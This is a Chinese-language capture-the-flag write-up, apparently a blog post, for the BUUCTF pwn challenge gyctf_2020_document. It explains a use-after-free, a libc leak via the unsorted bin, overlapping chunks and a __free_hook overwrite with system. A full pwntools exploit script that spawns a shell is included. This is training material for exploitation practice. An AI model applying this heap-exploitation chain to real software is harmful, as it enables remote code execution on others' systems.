[BUUCTF]PWN——gyctf_2020_document(UAF)

gyctf_2020_document

  1. 例行检查,64位程序,保护全开
    在这里插入图片描述
  2. 漏洞在free chunk的时候
    在这里插入图片描述
  3. 简单看一下其他几个功能函数
    add()
    在这里插入图片描述
    像我这样的新手,可以申请几个chunk看一下,方便理清楚堆的内部情况,为了方便描述,我就把蓝色的地方叫做chunk0-1,红框中剩余部分叫chunk0-2
    在这里插入图片描述
    show(),根据存放在bss段的0x202060堆指针数组来输出对应的chunk里的值
    在这里插入图片描述
    edit()
    在这里插入图片描述

利用思路

  1. 申请一个chunk,释放掉,在show,由于存在uaf,利用unsortbin来泄露libc

  2. 泄露libc后,由于第一个chunk被释放了,并且edit函数编辑的是chunk+0x10的偏移位置,所以我们再申请两个chunk, 这个时候,我们就可以发现idx为0的头部chunk指向了,idx为3的头部chunk的pre_size位,这时候已经overlap了,所以直接覆盖chunk3指向堆的那个偏移,并且要与free_hook或者malloc_hook的偏移相差0x10

  3. 经过调试发现free_hook周围都是0,覆盖了free_hook为system

  4. 释放chunk1拿到shell

利用过程

  1. 泄露libc
add('1'+'\x00'*7, 'W'+'\x00'*7, 'a'*0x70)#0
add('2'+'\x00'*7, 'w'+'\x00'*7, 'b'*0x70)#1
#gdb.attach(p)

delete(0)
show(0)
libc.address=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c4b20-88

unsortbin 有一个特性,就是如果 usortbin 只有一个 bin ,它的 fd 和 bk 指针会指向同一个地址(unsorted bin 链表的头部),这个地址为 main_arena + 0x58 ,而且 main_arena 又相对 libc 固定偏移 0x3c4b20 ,所以得到这个fd的值,然后减去0x58再减去main_arena相对于libc的固定偏移,即得到libc的基地址。

  1. 构造重叠堆(overlap)
add('/bin/sh\x00', '/bin/sh\x00', 'c'*0x70)#2	
delete(1)
add('/bin/sh\x00', '/bin/sh\x00', 'd'*0x70)#3

在这里插入图片描述
3. 由于edit修改的是chunk+0x10处的地址里的值,所以不能直接指向free_hook,应该指向free_hook距离0x10处的地方,然后修改free_hook为system即可

payload=p64(0)+p64(0x21)+p64(free_hook_addr-0x10)+p64(0x1)+p64(0)+p64(0x51)+p64(0)*8
edit(0,payload)

edit(3,p64(system_addr)+p64(0)*13)

在这里插入图片描述
完整exp

from pwn import *

#p = remote("node3.buuoj.cn", 28968)
p = process("./gyctf_2020_document")

context.log_level = 'debug'

elf = ELF("./gyctf_2020_document")
libc = ELF('./libc-2.23(64).so')

def add(name, sex, content):
    p.recvuntil('Give me your choice : \n')
    p.sendline('1')
    p.recvuntil("input name\n")
    p.send(name)
    p.recvuntil("input sex\n")
    p.send(sex)
    p.recvuntil("input information\n")
    p.send(content)

def delete(index):
    p.recvuntil('Give me your choice : \n')
    p.sendline('4')
    p.recvuntil("Give me your index : \n")
    p.sendline(str(index))

def show(index):
    p.recvuntil('Give me your choice : \n')
    p.sendline('2')
    p.recvuntil("Give me your index : \n")
    p.sendline(str(index))

def edit(index, content):
    p.recvuntil('Give me your choice : \n')
    p.sendline('3')
    p.recvuntil("Give me your index : \n")
    p.sendline(str(index))
    p.recvuntil("Are you sure change sex?\n")
    p.send('N\n')
    p.recvuntil("Now change information\n")
    p.send(content)


add('1'+'\x00'*7, 'W'+'\x00'*7, 'a'*0x70)#0
add('2'+'\x00'*7, 'w'+'\x00'*7, 'b'*0x70)#1
#gdb.attach(p)

delete(0)
show(0)
offset=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3c4b20-0x58
free_hook=libc.symbols['__free_hook']
free_hook_addr=free_hook+offset
system_libc=libc.symbols['system']
system_addr=system_libc+offset

#gdb.attach(p)


add('/bin/sh\x00', '/bin/sh\x00', 'c'*0x70)#2	
delete(1)
add('/bin/sh\x00', '/bin/sh\x00', 'd'*0x70)#3
#gdb.attach(p)

payload=p64(0)+p64(0x21)+p64(free_hook_addr-0x10)+p64(0x1)+p64(0)+p64(0x51)+p64(0)*8
edit(0,payload)
#gdb.attach(p)

edit(3,p64(system_addr)+p64(0)*13)

#gdb.attach(p)
delete(1)

p.interactive()

在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值